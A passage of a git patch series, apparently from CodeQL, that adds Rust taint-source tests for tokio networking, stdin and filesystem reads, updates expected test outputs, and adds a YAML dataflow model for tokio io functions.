test_tokio_tcpstream() -> std::io::Result<()> { // send request tokio_stream.write_all(b"GET / HTTP/1.1\nHost:example.com\n\n").await?; + if case == 1 { + // peek response + let mut buffer1 = vec![0; 2 * 1024]; + let _ = tokio_stream.peek(&mut buffer1).await?; // $ MISSING: Alert[rust/summary/taint-sources] + + // read response + let mut buffer2 = vec![0; 2 * 1024]; + let n2 = tokio_stream.read(&mut buffer2).await?; // $ MISSING: Alert[rust/summary/taint-sources] + + println!("buffer1 = {:?}", buffer1); + sink(&buffer1); // $ MISSING: hasTaintFlow + sink(buffer1[0]); // $ MISSING: hasTaintFlow + + println!("buffer2 = {:?}", buffer2); + sink(&buffer2); // $ MISSING: hasTaintFlow + sink(buffer2[0]); // $ MISSING: hasTaintFlow + + let buffer_string = String::from_utf8_lossy(&buffer2[..n2]); + println!("string = {}", buffer_string); + sink(buffer_string); // $ MISSING: hasTaintFlow + } else if case == 2 { + let mut buffer = [0; 2 * 1024]; + loop { + match tokio_stream.try_read(&mut buffer) { + Ok(0) => { + println!("end"); + break; + } + Ok(_n) => { + println!("buffer = {:?}", buffer); + sink(&buffer); // $ MISSING: hasTaintFlow + break; // (or we could wait for more data) + } + Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock => { + // wait... + continue; + } + Err(e) => { + println!("error: {}", e); + break; + } + } + } + } else { + let mut buffer = Vec::new(); + loop { + match tokio_stream.try_read_buf(&mut buffer) { + Ok(0) => { + println!("end"); + break; + } + Ok(_n) => { + println!("buffer = {:?}", buffer); + sink(&buffer); // $ MISSING: hasTaintFlow + break; // (or we could wait for more data) + } + Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock => { + // wait... + continue; + } + Err(e) => { + println!("error: {}", e); + break; + } + } + } + } + + Ok(()) +} + +async fn test_std_to_tokio_tcpstream() -> std::io::Result<()> { + // using tokio::io to fetch a web page + let address = "example.com:80"; + + // create the connection + println!("connecting to {}...", address); + let std_stream = std::net::TcpStream::connect(address)?; + + // convert to tokio stream + std_stream.set_nonblocking(true)?; + let mut tokio_stream = tokio::net::TcpStream::from_std(std_stream)?; + + // send request + tokio_stream.write_all(b"GET / HTTP/1.1\nHost:example.com\n\n").await?; + // read response let mut buffer = vec![0; 32 * 1024]; - let n = tokio_stream.read(&mut buffer).await?; // $ MISSING: Alert[rust/summary/taint-sources] + let _n = tokio_stream.read(&mut buffer).await?; // $ MISSING: Alert[rust/summary/taint-sources] println!("data = {:?}", buffer); sink(&buffer); // $ MISSING: hasTaintFlow sink(buffer[0]); // $ MISSING: hasTaintFlow - let buffer_string = String::from_utf8_lossy(&buffer[..n]); - println!("string = {}", buffer_string); - sink(buffer_string); // $ MISSING: hasTaintFlow - Ok(()) } @@ -714,7 +796,13 @@ async fn main() -> Result<(), Box> { } println!("test_tokio_tcpstream..."); - match futures::executor::block_on(test_tokio_tcpstream()) { + match futures::executor::block_on(test_tokio_tcpstream(case)) { + Ok(_) => println!("complete"), + Err(e) => println!("error: {}", e), + } + + println!("test_std_to_tokio_tcpstream..."); + match futures::executor::block_on(test_std_to_tokio_tcpstream()) { Ok(_) => println!("complete"), Err(e) => println!("error: {}", e), } From b2339ef0d90550df936188dbceaad3a97414bc37 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 24 Apr 2025 16:25:21 +0100 Subject: [PATCH 041/535] Rust: Add some alternative sinks. --- .../dataflow/sources/TaintSources.expected | 54 +++++++++---------- .../library-tests/dataflow/sources/test.rs | 6 ++- 2 files changed, 32 insertions(+), 28 deletions(-) diff --git a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected index ce929fd29f0f..05ae13cb2ceb 100644 --- a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected +++ b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected @@ -20,30 +20,30 @@ | test.rs:74:26:74:37 | ...::get | Flow source 'RemoteSource' of type remote (DEFAULT). | | test.rs:77:26:77:37 | ...::get | Flow source 'RemoteSource' of type remote (DEFAULT). | | test.rs:80:24:80:35 | ...::get | Flow source 'RemoteSource' of type remote (DEFAULT). | -| test.rs:112:31:112:42 | send_request | Flow source 'RemoteSource' of type remote (DEFAULT). | -| test.rs:119:31:119:42 | send_request | Flow source 'RemoteSource' of type remote (DEFAULT). | -| test.rs:209:22:209:35 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:215:22:215:35 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:221:22:221:35 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:227:22:227:35 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:233:9:233:22 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:237:17:237:30 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:244:50:244:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:250:46:250:59 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:257:50:257:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:264:50:264:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:271:56:271:69 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:278:46:278:59 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:285:46:285:59 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:291:46:291:59 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | -| test.rs:403:31:403:43 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:408:31:408:38 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:413:22:413:39 | ...::read_to_string | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:419:22:419:25 | path | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:420:27:420:35 | file_name | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:426:22:426:34 | ...::read_link | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:436:20:436:38 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:470:21:470:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:471:21:471:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:479:21:479:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:739:16:739:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | +| test.rs:113:31:113:42 | send_request | Flow source 'RemoteSource' of type remote (DEFAULT). | +| test.rs:120:31:120:42 | send_request | Flow source 'RemoteSource' of type remote (DEFAULT). | +| test.rs:210:22:210:35 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:216:22:216:35 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:222:22:222:35 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:228:22:228:35 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:234:9:234:22 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:238:17:238:30 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:245:50:245:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:251:46:251:59 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:258:50:258:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:265:50:265:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:272:56:272:69 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:280:46:280:59 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:287:46:287:59 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:293:46:293:59 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:407:31:407:43 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:412:31:412:38 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:417:22:417:39 | ...::read_to_string | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:423:22:423:25 | path | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:424:27:424:35 | file_name | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:430:22:430:34 | ...::read_link | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:440:20:440:38 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:474:21:474:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:475:21:475:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:483:21:483:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:743:16:743:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | diff --git a/rust/ql/test/library-tests/dataflow/sources/test.rs b/rust/ql/test/library-tests/dataflow/sources/test.rs index 5a292c999d90..0345871a8e30 100644 --- a/rust/ql/test/library-tests/dataflow/sources/test.rs +++ b/rust/ql/test/library-tests/dataflow/sources/test.rs @@ -78,6 +78,7 @@ async fn test_reqwest() -> Result<(), reqwest::Error> { sink(remote_string6); // $ MISSING: hasTaintFlow let mut request1 = reqwest::get("example.com").await?; // $ Alert[rust/summary/taint-sources] + sink(request1.chunk().await?.unwrap()); // $ MISSING: hasTaintFlow while let Some(chunk) = request1.chunk().await? { sink(chunk); // $ MISSING: hasTaintFlow } @@ -269,6 +270,7 @@ fn test_io_stdin() -> std::io::Result<()> { { let mut reader_split = std::io::BufReader::new(std::io::stdin()).split(b','); // $ Alert[rust/summary/taint-sources] + sink(reader_split.next().unwrap().unwrap()); // $ MISSING: hasTaintFlow while let Some(chunk) = reader_split.next() { sink(chunk.unwrap()); // $ MISSING: hasTaintFlow } @@ -380,6 +382,7 @@ async fn test_tokio_stdin() -> Result<(), Box> { { let mut reader_split = tokio::io::BufReader::new(tokio::io::stdin()).split(b','); // $ MISSING: Alert[rust/summary/taint-sources] + sink(reader_split.next_segment().await?.unwrap()); // $ MISSING: hasTaintFlow while let Some(chunk) = reader_split.next_segment().await? { sink(chunk); // $ MISSING: hasTaintFlow } @@ -388,8 +391,9 @@ async fn test_tokio_stdin() -> Result<(), Box> { { let reader = tokio::io::BufReader::new(tokio::io::stdin()); // $ MISSING: Alert[rust/summary/taint-sources] let mut lines = reader.lines(); + sink(lines.next_line().await?.unwrap()); // $ MISSING: hasTaintFlow while let Some(line) = lines.next_line().await? { - sink(line); // $ hasTai + sink(line); // $ MISSING: hasTaintFlow } } From 627496df094bcc2d36b01cbdb7bd1b8bab3ed15c Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 24 Apr 2025 17:46:13 +0100 Subject: [PATCH 042/535] Rust: Add source tests for tokio (fs). --- .../dataflow/sources/TaintSources.expected | 10 ++--- .../library-tests/dataflow/sources/test.rs | 38 +++++++++++++++++++ 2 files changed, 43 insertions(+), 5 deletions(-) diff --git a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected index 05ae13cb2ceb..c64e6a369a5b 100644 --- a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected +++ b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected @@ -42,8 +42,8 @@ | test.rs:423:22:423:25 | path | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:424:27:424:35 | file_name | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:430:22:430:34 | ...::read_link | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:440:20:440:38 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:474:21:474:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:475:21:475:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:483:21:483:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:743:16:743:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | +| test.rs:472:20:472:38 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:506:21:506:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:507:21:507:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:515:21:515:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:775:16:775:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | diff --git a/rust/ql/test/library-tests/dataflow/sources/test.rs b/rust/ql/test/library-tests/dataflow/sources/test.rs index 0345871a8e30..e8d8d65a3a79 100644 --- a/rust/ql/test/library-tests/dataflow/sources/test.rs +++ b/rust/ql/test/library-tests/dataflow/sources/test.rs @@ -434,6 +434,38 @@ fn test_fs() -> Result<(), Box> { Ok(()) } +async fn test_tokio_fs() -> Result<(), Box> { + { + let buffer: Vec = tokio::fs::read("file.bin").await?; // $ MISSING: Alert[rust/summary/taint-sources] + sink(buffer); // $ MISSING: hasTaintFlow="file.bin" + } + + { + let buffer: Vec = tokio::fs::read("file.bin").await?; // $ MISSING: Alert[rust/summary/taint-sources] + sink(buffer); // $ MISSING: hasTaintFlow="file.bin" + } + + { + let buffer = tokio::fs::read_to_string("file.txt").await?; // $ MISSING: Alert[rust/summary/taint-sources] + sink(buffer); // $ MISSING: hasTaintFlow="file.txt" + } + + let mut read_dir = tokio::fs::read_dir("directory").await?; + for entry in read_dir.next_entry().await? { + let path = entry.path(); // $ MISSING: Alert[rust/summary/taint-sources] + let file_name = entry.file_name(); // $ MISSING: Alert[rust/summary/taint-sources] + sink(path); // $ MISSING: hasTaintFlow + sink(file_name); // $ MISSING: hasTaintFlow + } + + { + let target = tokio::fs::read_link("symlink.txt").await?; // $ MISSING: Alert[rust/summary/taint-sources] + sink(target); // $ MISSING: hasTaintFlow="symlink.txt" + } + + Ok(()) +} + fn test_io_file() -> std::io::Result<()> { // --- file --- @@ -781,6 +813,12 @@ async fn main() -> Result<(), Box> { Err(e) => println!("error: {}", e), } + println!("test_tokio_fs..."); + match futures::executor::block_on(test_tokio_fs()) { + Ok(_) => println!("complete"), + Err(e) => println!("error: {}", e), + } + println!("test_io_file..."); match test_io_file() { Ok(_) => println!("complete"), From 7439b0c50486ccee104b97e7efefc29c4c383de9 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 24 Apr 2025 14:52:10 +0100 Subject: [PATCH 043/535] Rust: Add models for tokio (io). --- .../codeql/rust/frameworks/tokio/io.model.yml | 48 ++++++++++++++++ .../dataflow/sources/TaintSources.expected | 12 ++++ .../library-tests/dataflow/sources/test.rs | 56 +++++++++---------- 3 files changed, 88 insertions(+), 28 deletions(-) create mode 100644 rust/ql/lib/codeql/rust/frameworks/tokio/io.model.yml diff --git a/rust/ql/lib/codeql/rust/frameworks/tokio/io.model.yml b/rust/ql/lib/codeql/rust/frameworks/tokio/io.model.yml new file mode 100644 index 000000000000..ab0e88a9d610 --- /dev/null +++ b/rust/ql/lib/codeql/rust/frameworks/tokio/io.model.yml @@ -0,0 +1,48 @@ +extensions: + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::stdin::stdin", "ReturnValue", "stdin", "manual"] + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_buf_read_ext::AsyncBufReadExt::fill_buf", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::buffer", "Argument[self]", "ReturnValue", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_to_string", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_to_end", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_exact", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_buf_read_ext::AsyncBufReadExt::read_line", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_buf_read_ext::AsyncBufReadExt::read_until", "Argument[self]", "Argument[1].Reference", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_buf_read_ext::AsyncBufReadExt::split", "Argument[self]", "ReturnValue", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::next_segment", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)].Field[crate::option::Option::Some(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_buf_read_ext::AsyncBufReadExt::lines", "Argument[self]", "ReturnValue", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::next_line", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)].Field[crate::option::Option::Some(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_buf", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_u8", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_u8_le", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_u16", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_u16_le", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_u32", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_u32_le", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_u64", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_u64_le", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_u128", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_u128_le", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_i8", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_i8_le", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_i16", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_i16_le", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_i32", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_i32_le", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_i64", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_i64_le", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_i128", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_i128_le", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_f32", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_f32_le", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_f64", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_f64_le", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] diff --git a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected index c64e6a369a5b..1f7357f7e03e 100644 --- a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected +++ b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected @@ -36,6 +36,18 @@ | test.rs:280:46:280:59 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | | test.rs:287:46:287:59 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | | test.rs:293:46:293:59 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:308:25:308:40 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:315:25:315:40 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:322:25:322:40 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:329:25:329:40 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:336:25:336:40 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:348:25:348:40 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:357:52:357:67 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:363:48:363:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:370:52:370:67 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:377:52:377:67 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:384:58:384:73 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | +| test.rs:392:48:392:63 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | | test.rs:407:31:407:43 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:412:31:412:38 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:417:22:417:39 | ...::read_to_string | Flow source 'FileSource' of type file (DEFAULT). | diff --git a/rust/ql/test/library-tests/dataflow/sources/test.rs b/rust/ql/test/library-tests/dataflow/sources/test.rs index e8d8d65a3a79..2c87a05a4744 100644 --- a/rust/ql/test/library-tests/dataflow/sources/test.rs +++ b/rust/ql/test/library-tests/dataflow/sources/test.rs @@ -305,93 +305,93 @@ async fn test_tokio_stdin() -> Result<(), Box> { // --- async reading from stdin --- { - let mut stdin = tokio::io::stdin(); // $ MISSING: Alert[rust/summary/taint-sources] + let mut stdin = tokio::io::stdin(); // $ Alert[rust/summary/taint-sources] let mut buffer = [0u8; 100]; let _bytes = stdin.read(&mut buffer).await?; - sink(&buffer); // $ MISSING: hasTaintFlow + sink(&buffer); // $ hasTaintFlow } { - let mut stdin = tokio::io::stdin(); // $ MISSING: Alert[rust/summary/taint-sources] + let mut stdin = tokio::io::stdin(); // $ Alert[rust/summary/taint-sources] let mut buffer = Vec::::new(); let _bytes = stdin.read_to_end(&mut buffer).await?; - sink(&buffer); // $ MISSING: hasTaintFlow + sink(&buffer); // $ hasTaintFlow } { - let mut stdin = tokio::io::stdin(); // $ MISSING: Alert[rust/summary/taint-sources] + let mut stdin = tokio::io::stdin(); // $ Alert[rust/summary/taint-sources] let mut buffer = String::new(); let _bytes = stdin.read_to_string(&mut buffer).await?; - sink(&buffer); // $ MISSING: hasTaintFlow + sink(&buffer); // $ hasTaintFlow } { - let mut stdin = tokio::io::stdin(); // $ MISSING: Alert[rust/summary/taint-sources] + let mut stdin = tokio::io::stdin(); // $ Alert[rust/summary/taint-sources] let mut buffer = [0; 100]; stdin.read_exact(&mut buffer).await?; - sink(&buffer); // $ MISSING: hasTaintFlow + sink(&buffer); // $ hasTaintFlow } { - let mut stdin = tokio::io::stdin(); // $ MISSING: Alert[rust/summary/taint-sources] + let mut stdin = tokio::io::stdin(); // $ Alert[rust/summary/taint-sources] let v1 = stdin.read_u8().await?; let v2 = stdin.read_i16().await?; let v3 = stdin.read_f32().await?; let v4 = stdin.read_i64_le().await?; - sink(v1); // $ MISSING: hasTaintFlow - sink(v2); // $ MISSING: hasTaintFlow - sink(v3); // $ MISSING: hasTaintFlow - sink(v4); // $ MISSING: hasTaintFlow + sink(v1); // $ hasTaintFlow + sink(v2); // $ hasTaintFlow + sink(v3); // $ hasTaintFlow + sink(v4); // $ hasTaintFlow } { - let mut stdin = tokio::io::stdin(); // $ MISSING: Alert[rust/summary/taint-sources] + let mut stdin = tokio::io::stdin(); // $ Alert[rust/summary/taint-sources] let mut buffer = bytes::BytesMut::new(); stdin.read_buf(&mut buffer).await?; - sink(&buffer); // $ MISSING: hasTaintFlow + sink(&buffer); // $ hasTaintFlow } // --- async reading from stdin (BufReader) --- { - let mut reader = tokio::io::BufReader::new(tokio::io::stdin()); // $ MISSING: Alert[rust/summary/taint-sources] + let mut reader = tokio::io::BufReader::new(tokio::io::stdin()); // $ Alert[rust/summary/taint-sources] let data = reader.fill_buf().await?; - sink(&data); // $ MISSING: hasTaintFlow + sink(&data); // $ hasTaintFlow } { - let reader = tokio::io::BufReader::new(tokio::io::stdin()); // $ MISSING: Alert[rust/summary/taint-sources] + let reader = tokio::io::BufReader::new(tokio::io::stdin()); // $ Alert[rust/summary/taint-sources] let data = reader.buffer(); - sink(&data); // $ MISSING: hasTaintFlow + sink(&data); // $ hasTaintFlow } { let mut buffer = String::new(); - let mut reader = tokio::io::BufReader::new(tokio::io::stdin()); // $ MISSING: Alert[rust/summary/taint-sources] + let mut reader = tokio::io::BufReader::new(tokio::io::stdin()); // $ Alert[rust/summary/taint-sources] reader.read_line(&mut buffer).await?; - sink(&buffer); // $ MISSING: hasTaintFlow + sink(&buffer); // $ hasTaintFlow } { let mut buffer = Vec::::new(); - let mut reader = tokio::io::BufReader::new(tokio::io::stdin()); // $ MISSING: Alert[rust/summary/taint-sources] + let mut reader = tokio::io::BufReader::new(tokio::io::stdin()); // $ Alert[rust/summary/taint-sources] reader.read_until(b',', &mut buffer).await?; - sink(&buffer); // $ MISSING: hasTaintFlow - sink(buffer[0]); // $ MISSING: hasTaintFlow + sink(&buffer); // $ hasTaintFlow + sink(buffer[0]); // $ hasTaintFlow } { - let mut reader_split = tokio::io::BufReader::new(tokio::io::stdin()).split(b','); // $ MISSING: Alert[rust/summary/taint-sources] - sink(reader_split.next_segment().await?.unwrap()); // $ MISSING: hasTaintFlow + let mut reader_split = tokio::io::BufReader::new(tokio::io::stdin()).split(b','); // $ 